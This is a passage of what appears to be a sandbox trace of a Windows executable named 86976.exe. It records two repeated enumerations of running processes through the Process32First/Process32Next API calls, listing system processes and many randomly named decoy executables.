	[0119.498] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tissue.exe")) returned 1
	[0119.499] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="draw_edited.exe")) returned 1
	[0119.500] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="endorsed-author.exe")) returned 1
	[0119.501] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="verifytorturelgspatial.exe")) returned 1
	[0119.502] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extraordinary_nasdaq_electro.exe")) returned 1
	[0119.503] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlet-publication-assignments-essentials.exe")) returned 1
	[0119.504] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="advantages.exe")) returned 1
	[0119.505] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="enclosedreservespringfieldhour.exe")) returned 1
	[0119.506] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="chester-theft-ye.exe")) returned 1
	[0119.507] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufactured_engaged.exe")) returned 1
	[0119.508] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="israel-again-maryland.exe")) returned 1
	[0119.509] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="handheld_co.exe")) returned 1
	[0119.510] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extreme_disposition_griffin.exe")) returned 1
	[0119.511] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural expand cancellation.exe")) returned 1
	[0119.512] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0119.512] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="milwaukeemoscow.exe")) returned 1
	[0119.513] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="regarding weights.exe")) returned 1
	[0119.514] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="boom_eye_suppose_sides.exe")) returned 1
	[0119.515] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="opponent-adjustment-textbook.exe")) returned 1
	[0119.516] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0119.517] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.518] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0119.519] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.519] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 1
	[0119.520] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 0
	[0119.521] CloseHandle (hObject=0x484) returned 1
	[0119.621] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0119.623] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0119.624] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0119.625] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.626] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0119.627] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.628] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0119.629] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0119.630] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0119.631] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.631] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.632] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0119.633] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.634] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.635] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.636] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.637] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.638] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.639] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0119.640] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.641] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.641] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0119.642] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.643] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0119.644] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.645] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0119.646] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0119.647] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0119.648] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0119.649] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds rice judgment op.exe")) returned 1
	[0119.650] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperial oils pest.exe")) returned 1
	[0119.651] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="collaboration.exe")) returned 1
	[0119.652] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="flood-save-circuits.exe")) returned 1
	[0119.653] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tissue.exe")) returned 1
	[0119.653] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="draw_edited.exe")) returned 1
	[0119.654] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="endorsed-author.exe")) returned 1
	[0119.655] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="verifytorturelgspatial.exe")) returned 1
	[0119.656] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extraordinary_nasdaq_electro.exe")) returned 1
	[0119.657] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlet-publication-assignments-essentials.exe")) returned 1
	[0119.658] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="advantages.exe")) returned 1
	[0119.659] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="enclosedreservespringfieldhour.exe")) returned 1
	[0119.660] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="chester-theft-ye.exe")) returned 1
	[0119.661] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufactured_engaged.exe")) returned 1
	[0119.662] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="israel-again-maryland.exe")) returned 1
	[0119.663] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="handheld_co.exe")) returned 1
	[0119.663] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extreme_disposition_griffin.exe")) returned 1
	[0119.664] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural expand cancellation.exe")) returned 1
	[0119.665] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0119.666] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="milwaukeemoscow.exe")) returned 1
	[0119.667] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="regarding weights.exe")) returned 1
	[0119.668] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="boom_eye_suppose_sides.exe")) returned 1
	[0119.669] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="opponent-adjustment-textbook.exe")) returned 1
	[0119.670] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0119.670] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.671] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0119.672] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.673] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 1
	[0119.674] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 0
	[0119.675] CloseHandle (hObject=0x484) returned 1
